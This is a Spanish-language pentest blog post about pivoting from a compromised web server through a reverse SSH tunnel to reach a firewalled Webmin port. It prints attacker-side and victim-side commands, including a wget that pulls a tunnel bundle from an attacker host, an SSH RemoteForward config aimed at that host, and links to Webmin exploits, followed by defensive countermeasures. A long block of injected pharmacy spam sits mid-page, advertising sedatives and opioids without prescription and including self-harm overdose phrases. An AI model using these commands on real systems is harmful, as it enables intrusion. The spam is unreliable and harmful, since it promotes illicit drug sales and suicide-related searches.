SSH Jutsu I - Acercamiento de Puerto
Apenas unos dias vi batallando a un compañero que realizaba un Pentest y había conseguido comprometer un servidor web. Resulta que alguien tuvo a bien instalar un sistema Joomla! y lo dejó abandonado, así que no fué difícil utilizar un viejo módulo para subir el PHP Shell y empezar a echar comandos de consola siendo el usuario que ejecuta a apache (nobody en este caso).
Después de varias horas de verlo hacerse de la mala ceja se me ocurrieron varios puntos donde se podían hacer ataques:
Escenario
- Servidor Web con Linux Fedora Core 3, obviamente con instalación por defecto
- Servidor “protegido” por un FW Checkpoint.
- Que nos bloquea la IP cada vez que hacemos un escaneo de puertos.
- No tiene ACLs de salida del servidor, are you thinking what I am thinking?
- Se ha logrado comprometer el servidor
- Se tiene una shell creada por el php shell y que a su vez se ha conseguido otra con el Netcat conectándonos a nuestra máquina desde la máquina vícitma. Total el FW no tiene ACLs que bloqueen la salida de tráfico del servidor.
- Tiene un IP Privada del otro lado, así que podemos suponer que están haciendo el port Forwarding al puerto 443.
- Tiene el Webmin habilitado >:) pero bloqueado por el FW :’(
Planteamiento
¿Qué sigue? Obviamente escalar privilegios, encontrar mas servidores dentro de la DMZ y/o conseguir contraseñas. Ya se sacaron los usuarios con el comando cat /etc/passwd pero los hashes de las contraseñas no ya que no disponemos de privilegios de root y hacer el viejo truco con Hydra de probar el mismo usuario y contraseñas contra un servicio es inútil por el FW.
¿Cómo podemos sopesar este problema? Como sabemos, el Webmin es una herramienta poderosísima para la admnistración del servidor pero cuenta con un sin fín de vulnerabilidades que, aunque son parchadas con cierta rapidez, si la instalación es por default o está sin administrar (abandonada) se puede comprometer la integridad del servidor con cierta facilidad.
Jutsu
Creo que habemos pocos que conocemos los oscuros secretos y milenarias técnicas del SSH y los ocupamos con cierta regularidad. Aqui explico mi prueba de concepto para alcanzar el puerto de Webmin y poder comprometerlo:
Necesitamos tener una cuenta en una máquina y pueda acceder al servicio de SSH. Para esto podemos usar el Backtrack creamos una cuenta sin mayores privilegios. Dentro de esta cuenta creamos una llave pública de ssh para poder automatizar la autenticación y no perder la shell dentro del servidor:
# Creamos el directorio donde guardaremos la configuracion
mkdir ~/.ssh
# Creamos la llave sin contraseña para que sea mas cómoda de usar
ssh-keygen -t dsa
# Nos crea dos archivos que son la llave pública y la privada
id_dsa id_dsa.pub
# Renombramos la pública para poder usarla como autenticación
mv id_dsa.pub authorized_keys
Ahora creamos el siguiente archivo config:
Host atacante
# La IP o nombre de dominio que estamos usando
Hostname atacante.no-ip.org
RemoteForward 10000 127.0.0.1:10000
# Puerto que tengamos abierto y con el servicio de SSH corriendo
Port 1025
# El usuario que hallamos creado
User tunel
BatchMode yes
Compression yes
# La llave privada que no debe contener contraseña y nos dará acceso al usuario tunel
IdentityFile /tmp/.ssh/id_dsa
CompressionLevel 9
# Con esto nos saltamos el que nos pregunte que si añade la llave rsa al archivo.
StrictHostKeyChecking no
PubkeyAuthentication yes
UserKnownHostsFile /tmp/.ssh/known_hosts
Ahora subimos el archivo al servidor como tarball. Lo podemos hacer con la herramienta woof.
# En el lado del atacante
woof -p [PuertoAlcanzable] -i [IP] ~/.ssh
# En el lado de la victima
cd /tmp
wget [URL Cambiando la IP por la IP pública] -O - | tar zxvf -
cd .ssh
chmod 0600 *
ssh-agent bash
ssh-add
ssh -fNF config atacante
Recuerda que si estas detrás de un dispositivo que haga NAT debes hacer reenvío de puerto de forma que podamos alcanzar la máquina del atacante desde la máquina víctima y que el URL que le ingresaremos en el wget no es la IP privada sino la IP pública que tiene nuestro router. Los que tenemos cableacces estamos jodidos pero siempre podemos usar un servidor prestado que tenga una IP Pública XD.
Y si todo sale bien nos devolverá la línea de comando y veremos un proceso parecido al este:
ps ax | grep -i ssh
28659 ? Ss 0:30 ssh -fNF config atacante
Bien, ahora desde la máquina del atacante deberemos ver unos puertos parecidos a esto:
sudo netstat -ptuna | grep -i listen
tcp 0 0 127.0.0.1:10000 0.0.0.0:* LISTEN -
Perfecto! Si hasta ahora todo ha salido bien podremos entrar a la consola de administración del Webmin desde el navegador usando la siguiente URL: https://localhost:10000.
Nos vamos a la siguiente página y descargamos el exploit:
http://securitydot.net/xpl/exploits/vulnerabilities/articles/1164/exploit.html en Perl
http://www.milw0rm.com/exploits/1997 en PHP
Contramedidas
- No instalas ningun aplicativo que no piensas dar mantenimiento en un servidor de producción.
- Aparte del firewall corporativo es saludable instalar un firewall de host que proteja la máquina así la administración del FW queda en tus manos y no dependes de un tercero que no sabes que políticas maneja. APF es mi recomendación.
- En los ACLs del firewall es buena idea bloquear cual tráfico que salga del servidor que no sea de tipo ESTABLISHED o que vaya única y exclusivamente a los servidores de actualizaciones, por este motivo es bueno tener un sistema de actualización local como el WSUS para Haselfroch.
- Siempre, y repito, siempre has un hardeneo de tus servidores de producción, quita servicios que no uses y aquellos que necesitas pero son inseguros (Webmin, VNC) puedes hacer que escuchen localmente y accederlos por túneles de SSH.
- Mantén un procedimiento para verificar la integridad de tus servidores como Tripwire.
- Mantén una política de contraseñas complejas en tus usuarios, así, aúnque consigan los hashes de la contraseñas el romperlas puede llegar a ser virtualmente imposible.
- Mantén actualizado tu sistema y las aplicaciones que tenga dentro, realiza auditorias constantes sobre tus aplicaciones Web para ver posibles agujeros de seguridad que puedan comprometer tu servidor. Para esto existen aplicaciones como GFI Languard y Nessus.
Aún siguiendo estos pasos no puedes ganrantizar que estará seguro tu servidor, siempre habrá una nueva vulnerabilidad o alguien que consiga brincarse la barda que has puesto. Hacer seguridad y cumplir al menos con las buenas prácticas de administración de servidores permiten mitigar los ataques que puedas recibir y que puedan afectar al negocio.
Adrián Puente Z.
Tags: Seguridad, firewall, webmin, Secure Shell, SSH, Apache
Prescribing Tramadol As An Antidepressant
Ambien Cr Zolpidem Tartrate Extendedrelease Tablets
Xanax Drug Prescribing Information
Lyrica Xanax
Valium Charm
Xanax Drug Information
Xanax Fedex Overnight
Subutex Mixed With Xanax
Ambien Cr 12.5 Mg Tablet
The Chemical Bonds Of Valium
Mixing Adderall And Xanax
Cheap Generic Xanax
2 Mg Xanax No Prescription
Buy Ambien Cr Without A Prescription
Valium Without Rx
Tramadol Schedule
Xanax No Rx Get It Online
Xr Online Xanax
Tramadol Vet
Duration Of Xanax In Urine
Xanax Cheap No Prescriptions Cod
Tramadol Pain Management Doctors
Pain Reliever Tramadol
Ambien No Prescription Overnight Delivery
Valium Toothache
Xanax Money Gram
Ambien Allergic Reaction
Best Ways To Take Xanax
Ambien Ambien Cr Mixing
Tramadol Efficacy Studies Using Ferrets
Tramadol With Cash On Delivery
Where To Get Valium
Did I Receive Fake Ambien
Xanax Zoloft
Xanax Online Fedex No Prior Prescription
Length Valium In Drug Test
Order Ambien Cod
Xanax Use In Dogs
Pictures Of Fake Xanax
Austrailian Xanax
Fatal Dose Ambien
Ambien Cannabis
Tramadol Drug Forums
Ambien Cr Urine Testing
Valium Great Buy
Kava Xanax Benzo Side Effects
90mg Valium
Difference Between Ultram And Tramadol
Can Xanax Be Injected
Tramadol Dependence
Buy Ambien Prescription Overnight Delivery
Valium Without Prescription $50.00
Tramadol Order Overnight Saturday Delivery 77
No Prescription Saturday Delivery Tramadol
Taking Suboxone Xanax
Cymbalta And Xanax
Perscription Drugs Without A Prescription Xanax
Online Sales Valium
Valium Stay In Your System
Xanax Xr Tranxene Sd
Drug Interaction Toprol Tramadol
Valium 2102
Buy Cheap Xanax Without Prescription
Ambien Zolpidem Tartrate
Tramadol Identifier Pt5
Buy Tramadol West Coast
Xanax Addiction Withdrawl
Tramadol 50 Mg Tabs
Ambien United States
Ijijiji Xanax Hompage
Heroin Mix Xanax Bars
Miken Softball Bat Buy Tramadol
Ambien Getting Prescription
Buy Cheap Drugs Xanax Lortab
Pliva 616 Tramadol
Valium Cipro
Fda Approved Xanax Us Licensed Doctors
Tramadol Patent
Tramadol Dysphasia
Pictures Of Ambien
Xanax Disribution Florida Sentencing
Tapering Off Tramadol
High Off Tramadol Hcl Dosage
Ambien In The Ghb Family
Hydrocodone Mexican Pharmacy What Is Tramadol
Ambien Tattoo
Treatments For Tramadol Withdrawals
Buy Non Genaric Ambien Online
Can I Take Ambien When Pregnant
Medicine Xanax Half-life
Valium Without
Ing Off Valium Medil Information
Ambien Zr
Xanax Alcohol Interactions
Tramadol For Feline
Benzodiazepine China Valium Wholesale
Ambien Withdrawl Symptoms
Valium Diarreah
Ambien Sonambulism
Xanax Lethal Dose Kill Yourself
When Will Generic Ambien Be Available
Ambien Medications
Combining Ativan And Neurontin And Tramadol
Deine Nachricht Site Xanax
Drug Show Test Will Xanax
Ambien Ambien A A Target
Side Effects Of Tramadol 50mg
Ambien And Driving
Xanax Anxiety Disorders
Coma Valium Kava
Ambien Online Scam
Ambien Cr Vs Lunesta
Tramadol In Veterinary Use
Snorting Ambien
Xanax Xr 2mg
Xanax Muscle Pain Relief
Ambien Zlp
Mixing Cocaine With Xanax
Valium By Mail
Ambien Buy Cheap Domain Onlinebigsitecitycom
Ambien Sonata Overnight Delivery
Valium Vs Triazolam
Definite Fatal Xanax Overdose
Overdose Of Xanax
Ambien And Chest Pains
Death By Ambien
Ambien Chemical Action
Ambien Perscriptions On Line
Phenoxybenzamine And Valium
Buy Valium Online 32
Ambien Urine
Valium Vs Clonazepam
Benadryl And Ambien Side Effect
Xanax Overnight No Prescription
Dj Valium Go Right For
Sleeping Drug Ambien Mfg Sanofi-aventis
Xanax Guaranteed Overnight
Tramadol On-line
Xanax Doctor Online
What Is A Valium
Cod Tramadol Tramadol Hcl Tramadol Cheap
What Does Valium Do To You
Tramadol Puchase
No Prescription Fedex Valium
Valium But Stronger
Intractable Insomnia Ambien
Is Ambien Ok
Herbal Xanax
Effects Of Tramadol
About Xanax Addiction
2mg Xanax Online Without Rx
Cheap Drug Prescription Prilosec Tramadol Zyrtec
Valium For Back Pain
Ambien Compare Lunesta
Alcohol And Xanax And Dui
Buy Valium Online Pharmacy
Vicodin Xanax
Buy Xanax Online Fast
Do People Snort Xanax
Tramadol Mail To Florida
5-htp Xanax
Blackouts While Taking Ambien And Oxycodene
Can Tramadol Be Round
Valium Point Acupuncture
Ordering Xanax Without Prior Perscription
Get Xanax No Rx Needed
Sleep Driving On Ambien
Xanax And Heroin
Ambien Hypnotics
Ambien And Va
Ambien Cr Abuse
Tramadol Dosage Calculations For Veterinarians
Pharmacy Valium
Ambien Sleep Medication
Zolpidem Generic Ambien Fucked Up
Ambien Sleeping Pill Side Effects
180 Tramadol $79
Information Tramadol Weight Loss Pill
Xanax On An Airplane
Ambien Cr Cut In Half
500 Tramadol
Xanax Dosage Extreme Anxiety
Tramadol 120
Xanax Totem Poles
Spell Valium In Spanish
Prenatal Ambien
Ambien And Food
Xanax Prescribing Information
Ambien Effects From Side
Tramadol Hci Overdoses
Ambien Price
Make Xanax
Ambien Tartrate Zolpidem
Ph Of Valium
Ambien Directions
Xanax And Alchohol
Order Tramadols
Diabetics Taking Ambien Cr
Sleep Walking And Ambien
Generic Xanax Description
Xanax Cheap Without A Prescription
Can You Take Benaderl With Xanax
Painkiller Prescription Tramadol
Tramadol Detox Effects
Buy Valium Cheap
Buy Xanax Cod Payment
Xanax Reviews
Celexa Ambien Without Presciption
Prescribe Tramadol For Depression
Tramadol Side Effect
Mg Xanax Buy Tramadol Now
Buy Xanax Online Diet Pill Xanax
Xanax Time Release
Xanax Child Anxiety
Valium Overview
0.5 Xanax
Tramadol In Drug Screens
Greenstone Tramadol
Valium To Order
Ambien No Rx Overnight
Order Xanax Online From Mexico
Ambien Stilnox Stilnoct Hypnogen Zolfresh Myslee
Valium Also Known As
50mg Tramadol
Xanax Cause Erectile Dysfunction
Xanax Wtihdrawal Symptoms
Tramadol Substitutions
Xanax On Line Without Prescription
No Prescription Needed Xanax
Online Consultation Ambien
Xanax Without Prescription 32
Mix Xanax And Clonozopam
Tramadol Redose
Tramadol 800 Pills Best Price
Xanax Dependence
Ambien Sanofi-aventis Lunesta Takeda Side Affects
Wide White Xanax And 2
Ambien Drug
Site Tramadol
Valium And Erection
Xanax And White Blood Cell
Xanax And Grapefruit Juice
Zolpidem Ambien Teva Pharmacutical
Side Effects Wellbutrin Paxil Valium Accuretic
Prescrition For Ambien
Sertraline Ambien
Xanax Long Term
Large Dose Tramadol Experience
Dosage Tramadol
Tramadol And Light Headedness
Taking Ativan And Ambien
Darvocet Xanax
Deaths Due To Xanax Withdrawal
Chronic Pain Tramadol
Paradoxical Reaction To Valium
Mail Order Prescriptions Ambien
Saliva Drug Test Methadone Xanax Acetaminophen
Tramadol Plus Valium Plus Somas
Generic Ambien Paid By Debit Card
Xanax No Prescription No Doctor
Generic Xanax Images
Valium Family Drugs
Tramadol Testicle Pain
Xanax Xr 3mg
Valium Msds
Valium Xanax Vs
Ambien For Chronic Insomnia
Xanax Detox Medicine
Xanax Asthma
Xanax Online Prescriptions
Kaiser Permanente And Tramadol
Xanax Maximum Daily Dosage
Ambien And Testing
Xanax Online No Prescription Usa Pharmacy
By Tramadol
Pharmacy Tramadol
Xanax Treatment For
Doctor Get Prescribe Xanax
Mutual Tramadol
Xanax Herb Substitute
Citalopram And Xanax
When Was Xanax Invented
Xanax Effects And Drug Interactions
Buy Xanax Woithout Prescrition Overnight Delivery
Xanax Dosage For Vasovagal Syncope
Cheap Ambien Prices
Valium Alcohol Interaction
Tramadol Addiction And Withdrawal
Xanax For Sell No Prescription
Treatment Of Xanax Overdose
Updates On Ambien Cr
Tramadol Hci Effects Depression
Xanax Dosage 3720
Bipolar Xanax
Buy Diazepam Valium Without Prescription Online
Australia Ambien
Tramadol Hydrocodone Mixture
Xanax Dosage For Canine
Thailand Ambien
Valium How Long Does It Work
Ayer ya en medio del sueño me vino la solución mas directa: “¿Porque no subes el exploit al servidor y lo ejecutas localhost?” Duh! ok si, pero bueno la técnica funciona igual para alcanzar el puerto vulnerable de otro servidor dentro de la DMZ al cambiar la línea:
RemoteForward 10000 [IPServidor]:[Puerto]
Funciona perfecto con el puerto de Remote Desktop (3389) y VNC (5900) y es común que los servidores de la DMZ alcancen los equipos dentro de la red interna, así que, en algunos casos, con tener una sola cuenta dentro de una máquina de la DMZ se puede llegar a la red entera.
Adrián Puente Z.Ch0ks said this on Junio 6th, 2008 at 9:36